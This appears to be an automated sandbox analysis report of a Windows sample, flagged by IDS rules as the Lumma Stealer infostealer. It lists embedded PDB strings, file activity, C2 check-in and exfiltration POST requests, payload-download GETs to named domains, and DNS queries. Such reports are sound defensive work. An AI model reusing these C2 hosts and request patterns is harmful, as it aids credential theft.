Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2153441742.0000000007485000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: storagewmi_passthru.pdbGCTL source: appFile.exe
Source:	Binary string: msdasc.pdb source: appFile.exe
Source:	Binary string: wmiprop.pdbGCTL source: appFile.exe
Source:	Binary string: msafd.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-1.pdb source: appFile.exe
Source:	Binary string: clb.pdb source: appFile.exe
Source:	Binary string: msdaenum.pdb source: appFile.exe
Source:	Binary string: spnet.pdbGCTL source: appFile.exe
Source:	Binary string: mssip32.pdb source: appFile.exe
Source:	Binary string: SLWGA.pdb source: appFile.exe
Source:	Binary string: msident.pdb source: appFile.exe
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2149016419.0000000002DCC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ir50_qcx.pdb source: appFile.exe
Source:	Binary string: mscpxl32.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-rtlsupport-l1-1-0.pdb source: appFile.exe
Source:	Binary string: VscMgrPS.pdbGCTL source: appFile.exe
Source:	Binary string: syssetup.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-crt-process-l1-1-0.pdb source: appFile.exe
Source:	Binary string: PerceptionSimulation.ProxyStubs.pdb source: appFile.exe
Source:	Binary string: api-ms-win-service-management-l1-1-0.pdb source: appFile.exe
Source:	Binary string: msdadc.pdbGCTL source: appFile.exe
Source:	Binary string: msvcp60.pdb source: appFile.exe
Source:	Binary string: ndproxystub.pdbGCTL source: appFile.exe
Source:	Binary string: peerdistai.pdb source: appFile.exe
Source:	Binary string: wlanutil.pdb source: appFile.exe
Source:	Binary string: RemoveDeviceElevated.pdbGCTL source: appFile.exe
Source:	Binary string: wsock32.pdb source: appFile.exe
Source:	Binary string: api-ms-win-crt-heap-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-crt-string-l1-1-0.pdb source: appFile.exe
Source:	Binary string: panmap.pdb source: appFile.exe
Source:	Binary string: odtext32.pdb source: appFile.exe
Source:	Binary string: DelegatorProvider.pdb source: appFile.exe
Source:	Binary string: txfw32.pdb source: appFile.exe
Source:	Binary string: msctfui.pdbGCTL source: appFile.exe
Source:	Binary string: umdmxfrm.pdbGCTL source: appFile.exe
Source:	Binary string: msiltcfg.pdb source: appFile.exe
Source:	Binary string: pntw.pdb source: appFile.exe
Source:	Binary string: lz32.pdbGCTL source: appFile.exe
Source:	Binary string: -l1-1-0.pdb source: appFile.exe
Source:	Binary string: UserDataLanguageUtil.pdbGCTL source: appFile.exe
Source:	Binary string: msiltcfg.pdbGCTL source: appFile.exe
Source:	Binary string: snmpapi.pdbUGP source: appFile.exe
Source:	Binary string: hnetmon.pdbGCTL source: appFile.exe
Source:	Binary string: CHxReadingStringIME.pdbGCTL source: appFile.exe
Source:	Binary string: storprop.pdbGCTL source: appFile.exe
Source:	Binary string: storprop.pdb source: appFile.exe
Source:	Binary string: usbperf.pdbGCTL source: appFile.exe
Source:	Binary string: clb.pdbGCTL source: appFile.exe
Source:	Binary string: winrssrv.pdbGCTL source: appFile.exe
Source:	Binary string: whhelper.pdbGCTL source: appFile.exe
Source:	Binary string: API-MS-Win-Eventing-Controller-L1-1-0.pdb source: appFile.exe
Source:	Binary string: RpcNs4.pdbGCTL source: appFile.exe
Source:	Binary string: SyncHostPS.pdbGCTL source: appFile.exe
Source:	Binary string: winrssrv.pdb source: appFile.exe
Source:	Binary string: msdasc.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-synch-l1-1-0.pdb source: appFile.exe
Source:	Binary string: appxprovisionpackage.pdbGCTL source: appFile.exe
Source:	Binary string: Microsoft.BitLocker.Structures.pdb source: appFile.exe
Source:	Binary string: ir41_qc.pdbGCTL source: appFile.exe
Source:	Binary string: VscMgrPS.pdb source: appFile.exe
Source:	Binary string: sppinst.pdbGCTL source: appFile.exe
Source:	Binary string: usbperf.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: appFile.exe
Source:	Binary string: pspluginwkr.pdb source: appFile.exe
Source:	Binary string: svcext.pdbGCTL source: appFile.exe
Source:	Binary string: msrating.pdb source: appFile.exe
Source:	Binary string: softpub.pdb source: appFile.exe
Source:	Binary string: ifsutilx.pdbGCTL source: appFile.exe
Source:	Binary string: winsockai.pdb source: appFile.exe
Source:	Binary string: pcwum.pdb source: appFile.exe
Source:	Binary string: SyncInfrastructurePS.pdbGCTL source: appFile.exe
Source:	Binary string: sppwmi.pdbGCTL source: appFile.exe
Source:	Binary string: IMEDICAPICCPS.pdb source: appFile.exe
Source:	Binary string: msxactps.pdbGCTL source: appFile.exe
Source:	Binary string: ndproxystub.pdb source: appFile.exe
Source:	Binary string: odbcji32.pdb source: appFile.exe
Source:	Binary string: bcdeditai.pdb source: appFile.exe
Source:	Binary string: SyncHostPS.pdb source: appFile.exe
Source:	Binary string: NetworkItemFactory.pdb source: appFile.exe
Source:	Binary string: odbcbcp.pdbGCTL source: appFile.exe
Source:	Binary string: utildll.pdbUGP source: appFile.exe
Source:	Binary string: msafd.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-localization-l1-2-1.pdb source: appFile.exe
Source:	Binary string: msdaurl.pdb source: appFile.exe
Source:	Binary string: winml.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-heap-obsolete-l1-1-0.pdb source: appFile.exe
Source:	Binary string: Magnification.pdbGCTL source: appFile.exe
Source:	Binary string: oddbse32.pdb source: appFile.exe
Source:	Binary string: lper.pdb source: appFile.exe
Source:	Binary string: DBnmpntw.pdb source: appFile.exe
Source:	Binary string: SetIEInstalledDateAI.pdbGCTL source: appFile.exe
Source:	Binary string: aspperf.pdbGCTL source: appFile.exe
Source:	Binary string: ODBCCR32.pdbGCTL source: appFile.exe
Source:	Binary string: cca.pdb source: appFile.exe
Source:	Binary string: IEFileInstallAI.pdbGCTL source: appFile.exe
Source:	Binary string: TimeDateMUICallback.pdb source: appFile.exe
Source:	Binary string: RpcNs4.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-kernel32-legacy-l1-1-1.pdb source: appFile.exe
Source:	Binary string: cmcfg32.pdbGCTL source: appFile.exe
Source:	Binary string: RemoveDeviceElevated.pdb source: appFile.exe
Source:	Binary string: f:\binaries.x86ret\bin\i386\Optimization\opt\wpf\wpfgfx_v0300.pdb source: appFile.exe
Source:	Binary string: SetIEInstalledDateAI.pdb source: appFile.exe
Source:	Binary string: IconCodecService.pdb source: appFile.exe
Source:	Binary string: cmlua.pdbGCTL source: appFile.exe
Source:	Binary string: TTDPlm.pdbGCTL source: appFile.exe
Source:	Binary string: ir50_qcx.pdbGCTL source: appFile.exe
Source:	Binary string: mimofcodec.pdb source: appFile.exe
Source:	Binary string: TimeDateMUICallback.pdbGCTL source: appFile.exe
Source:	Binary string: mssip32.pdbGCTL source: appFile.exe
Source:	Binary string: LAPRXY.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-file-l1-2-0.pdb source: appFile.exe
Source:	Binary string: IconCodecService.pdbUGP source: appFile.exe
Source:	Binary string: PrintAdvancedInstaller.pdb source: appFile.exe
Source:	Binary string: netfxconfig.pdb source: appFile.exe
Source:	Binary string: msiwer.pdbGCTL source: appFile.exe
Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdbnMai source: powershell.exe, 00000010.00000002.2153441742.0000000007485000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PaymentMediatorServiceProxy.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-service-core-l1-1-1.pdb source: appFile.exe
Source:	Binary string: icmp.pdb source: appFile.exe
Source:	Binary string: wmdrmsdk.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-devices-config-L1-1-0.pdb source: appFile.exe
Source:	Binary string: msvidc32.pdbGCTL source: appFile.exe
Source:	Binary string: IA2ComProxy.pdbGCTL source: appFile.exe
Source:	Binary string: cmstplua.pdb source: appFile.exe
Source:	Binary string: l2nacp.pdb source: appFile.exe
Source:	Binary string: spnet.pdb source: appFile.exe
Source:	Binary string: ir50_32.pdbGCTL source: appFile.exe
Source:	Binary string: odpdx32.pdb source: appFile.exe
Source:	Binary string: mscat32.pdbGCTL source: appFile.exe
Source:	Binary string: ztrace_maps.pdbGCTL source: appFile.exe
Source:	Binary string: cmifw.pdbGCTL source: appFile.exe
Source:	Binary string: ifsutilx.pdb source: appFile.exe
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbsx source: powershell.exe, 00000010.00000002.2153365718.0000000007471000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: security.pdbGCTL source: appFile.exe
Source:	Binary string: msvfw32.pdbGCTL source: appFile.exe
Source:	Binary string: storagewmi_passthru.pdb source: appFile.exe
Source:	Binary string: oddbse32.pdbGCTL source: appFile.exe
Source:	Binary string: VirtualDisplayManager.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: Magnification.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-Core-Kernel32-Private-L1-1-1.pdb source: appFile.exe
Source:	Binary string: SixDofControllerManager.ProxyStubs.pdb source: appFile.exe
Source:	Binary string: IA2ComProxy.pdb source: appFile.exe
Source:	Binary string: PrintAdvancedInstaller.pdbGCTL source: appFile.exe
Source:	Binary string: msdatt.pdb source: appFile.exe
Source:	Binary string: nddeapi.pdb source: appFile.exe
Source:	Binary string: cmstplua.pdbGCTL source: appFile.exe
Source:	Binary string: winml.pdbGCTL source: appFile.exe
Source:	Binary string: DBnmpntw.pdbGCTL source: appFile.exe
Source:	Binary string: lper.pdbGCTL source: appFile.exe
Source:	Binary string: SixDofControllerManager.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: serialui.pdb source: appFile.exe
Source:	Binary string: msjint40.pdbV source: appFile.exe
Source:	Binary string: icmp.pdbGCTL source: appFile.exe
Source:	Binary string: SAS.pdbGCTL source: appFile.exe
Source:	Binary string: Microsoft.BitLocker.Structures.pdbiC source: appFile.exe
Source:	Binary string: uniplat.pdb source: appFile.exe
Source:	Binary string: h-l1-2-0.pdb source: appFile.exe
Source:	Binary string: security.pdb source: appFile.exe
Source:	Binary string: wshunix.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-processthreads-l1-1-1.pdb source: appFile.exe
Source:	Binary string: licmgr10.pdbUGP source: appFile.exe
Source:	Binary string: tapiperf.pdb source: appFile.exe
Source:	Binary string: syssetup.pdb source: appFile.exe
Source:	Binary string: modemui.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-xstate-l2-1-0.pdb source: appFile.exe
Source:	Binary string: wmiprop.pdb source: appFile.exe
Source:	Binary string: panmap.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-registry-l2-1-0.pdb source: appFile.exe
Source:	Binary string: cca.pdbGCTL source: appFile.exe
Source:	Binary string: mssign32.pdbGCTL source: appFile.exe
Source:	Binary string: ntlanui2.pdb source: appFile.exe
Source:	Binary string: lz32.pdb source: appFile.exe
Source:	Binary string: cmutil.pdbGCTL source: appFile.exe
Source:	Binary string: msdaer.pdb source: appFile.exe
Source:	Binary string: cmcfg32.pdb source: appFile.exe
Source:	Binary string: softpub.pdbGCTL source: appFile.exe
Source:	Binary string: SAS.pdb source: appFile.exe
Source:	Binary string: ntlanui2.pdbGCTL source: appFile.exe
Source:	Binary string: wmcodecdspps.pdb source: appFile.exe
Source:	Binary string: odfox32.pdbGCTL source: appFile.exe
Source:	Binary string: utildll.pdb source: appFile.exe
Source:	Binary string: API-MS-Win-EventLog-Legacy-L1-1-0.pdb source: appFile.exe
Source:	Binary string: mfdvdec.pdbUGP source: appFile.exe
Source:	Binary string: NetworkItemFactory.pdbGCTL source: appFile.exe
Source:	Binary string: LAPRXY.pdbGCTL source: appFile.exe
Source:	Binary string: wsock32.pdbUGP source: appFile.exe
Source:	Binary string: API-MS-Win-Core-Kernel32-Private-L1-1-0.pdb source: appFile.exe
Source:	Binary string: ws2help.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-security-cryptoapi-l1-1-0.pdb source: appFile.exe
Source:	Binary string: txfw32.pdbGCTL source: appFile.exe
Source:	Binary string: sppwmi.pdb source: appFile.exe
Source:	Binary string: SyncInfrastructurePS.pdb source: appFile.exe
Source:	Binary string: cmutil.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-string-obsolete-l1-1-0.pdb source: appFile.exe
Source:	Binary string: msiwer.pdb source: appFile.exe
Source:	Binary string: bcdeditai.pdbGCTL source: appFile.exe
Source:	Binary string: timezoneai.pdb source: appFile.exe
Source:	Binary string: mspbde40.pdb source: appFile.exe
Source:	Binary string: IEFileInstallAI.pdb source: appFile.exe
Source:	Binary string: msdatl3.pdbGCTL source: appFile.exe
Source:	Binary string: modemui.pdbGCTL source: appFile.exe
Source:	Binary string: peerdistai.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-registry-l1-1-0.pdb source: appFile.exe
Source:	Binary string: api-ms-win-core-wow64-l1-1-0.pdb source: appFile.exe
Source:	Binary string: pcwum.pdbGCTL source: appFile.exe
Source:	Binary string: odfox32.pdb source: appFile.exe
Source:	Binary string: wmcodecdspps.pdbGCTL source: appFile.exe
Source:	Binary string: rnr20.pdb source: appFile.exe
Source:	Binary string: shfolder.pdbGCTL source: appFile.exe
Source:	Binary string: mimofcodec.pdbGCTL source: appFile.exe
Source:	Binary string: WSClient.pdb source: appFile.exe
Source:	Binary string: TTDPlm.pdb source: appFile.exe
Source:	Binary string: serialui.pdbGCTL source: appFile.exe
Source:	Binary string: PaymentMediatorServiceProxy.pdb source: appFile.exe
Source:	Binary string: E:\A\_work\2\s\binaries\Win32\Release\msdbg2.pdb source: appFile.exe
Source:	Binary string: msdaurl.pdbGCTL source: appFile.exe
Source:	Binary string: icsigd.pdbGCTL source: appFile.exe
Source:	Binary string: msdaer.pdbGCTL source: appFile.exe
Source:	Binary string: cmlua.pdb source: appFile.exe
Source:	Binary string: msrating.pdbGCTL source: appFile.exe
Source:	Binary string: rnr20.pdbGCTL source: appFile.exe
Source:	Binary string: uniplat.pdbGCTL source: appFile.exe
Source:	Binary string: wlanutil.pdbGCTL source: appFile.exe
Source:	Binary string: serwvdrv.pdbGCTL source: appFile.exe
Source:	Binary string: ir50_32.pdb source: appFile.exe
Source:	Binary string: shfolder.pdb source: appFile.exe
Source:	Binary string: icsigd.pdb source: appFile.exe
Source:	Binary string: aspperf.pdb source: appFile.exe
Source:	Binary string: PSModuleDiscoveryProvider.pdbGCTL source: appFile.exe
Source:	Binary string: mssign32.pdb source: appFile.exe
Source:	Binary string: odtext32.pdbGCTL source: appFile.exe
Source:	Binary string: servicemodelregai.pdbGCTL source: appFile.exe
Source:	Binary string: msdatl3.pdb source: appFile.exe
Source:	Binary string: wmdrmsdk.pdbGCTL source: appFile.exe
Source:	Binary string: msvidc32.pdb source: appFile.exe
Source:	Binary string: WalletProxy.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-realtime-l1-1-0.pdb source: appFile.exe
Source:	Binary string: ztrace_maps.pdb source: appFile.exe
Source:	Binary string: msxactps.pdb source: appFile.exe
Source:	Binary string: serwvdrv.pdb source: appFile.exe
Source:	Binary string: PerceptionSimulation.ProxyStubs.pdbGCTL source: appFile.exe
Source:	Binary string: api-ms-win-core-comm-l1-1-0.pdb source: appFile.exe
Source:	Binary string: svcext.pdb source: appFile.exe
Source:	Binary string: timezoneai.pdbGCTL source: appFile.exe
Source:	Binary string: DelegatorProvider.pdbGCTL source: appFile.exe
Source:	Binary string: ir41_qcx.pdbGCTL source: appFile.exe
Source:	Binary string: whhelper.pdb source: appFile.exe
Source:	Binary string: VirtualDisplayManager.ProxyStubs.pdb source: appFile.exe

Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\appFile.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\723356\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\723356	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49737 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49733 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49733 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49742 -> 104.21.94.92:443

Source: Joe Sandbox View

IP Address: 172.67.214.186 172.67.214.186

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 104.21.94.92:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 185.161.251.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49745 -> 172.67.214.186:443
Source: Network traffic	Suricata IDS: 2008438 - Severity 1 - ET MALWARE Possible Windows executable sent when remote host claims to send a Text File : 172.67.214.186:443 -> 192.168.2.4:49745

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 76Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WIIPNN3BBVUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18112Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=88R3F3YBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8721Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0N3UFN57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20374Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IHJ0218SYB1Q9LIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1236Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DSY32N426ZZ8QQEBTJUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1106Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 111Host: walkyvulgari.click
Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipsyzogey.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /8574262446/ph.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: cegu.shop
Source: global traffic	HTTP traffic detected: GET /int_clp_sha.txt HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: klipsyzogey.shop

Source: global traffic	DNS traffic detected: DNS query: mzaisLRxVRUnOUQWdGyHcVQZJ.mzaisLRxVRUnOUQWdGyHcVQZJ
Source: global traffic	DNS traffic detected: DNS query: walkyvulgari.click
Source: global traffic	DNS traffic detected: DNS query: cegu.shop
Source: global traffic	DNS traffic detected: DNS query: klipsyzogey.shop
Source: global traffic	DNS traffic detected: DNS query: dfgh.online

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: walkyvulgari.click

Source: appFile.exe	String found in binary or memory: http://TransportHTTP/1.0GETAccept:
Source: vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000002.2897136684.0000000000199000.00000004.00000010.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: appFile.exe	String found in binary or memory: http://crl.8#
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: appFile.exe	String found in binary or memory: http://crl.globalsign.com/codesigningrootr45.crl0U
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: appFile.exe	String found in binary or memory: http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: appFile.exe, Ted.com.1.dr, Serious.8.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: appFile.exe	String found in binary or memory: http://crl.globalsign.com/root.crl0G
Source: appFile.exe	String found in binary or memory: http://crl.micn
Source: appFile.exe	String found in binary or memory: http://crl.micros
Source: appFile.exe	String found in binary or memory: http://crl.microsof
Source: appFile.exe	String found in binary or memory: http://crl.microsoft.coX
Source: appFile.exe	String found in binary or memory: http://crl.microsy
Source: appFile.exe	String found in binary or memory: http://crl.microsyFailed
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2369930676.0000000003B70000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp, _isdecmp.dll.21.dr, _isdecmp.dll.19.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000013.00000003.2376459580.0000000002B80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertr
Source: S25734VPZD3VQL5I0DLUI2DAUAHZO.tmp, 00000015.00000003.2893489722.0000000000A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://crl.usertru
Source: vsv_tool.exe, 00000031.00000002.2943800444.0000000044365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
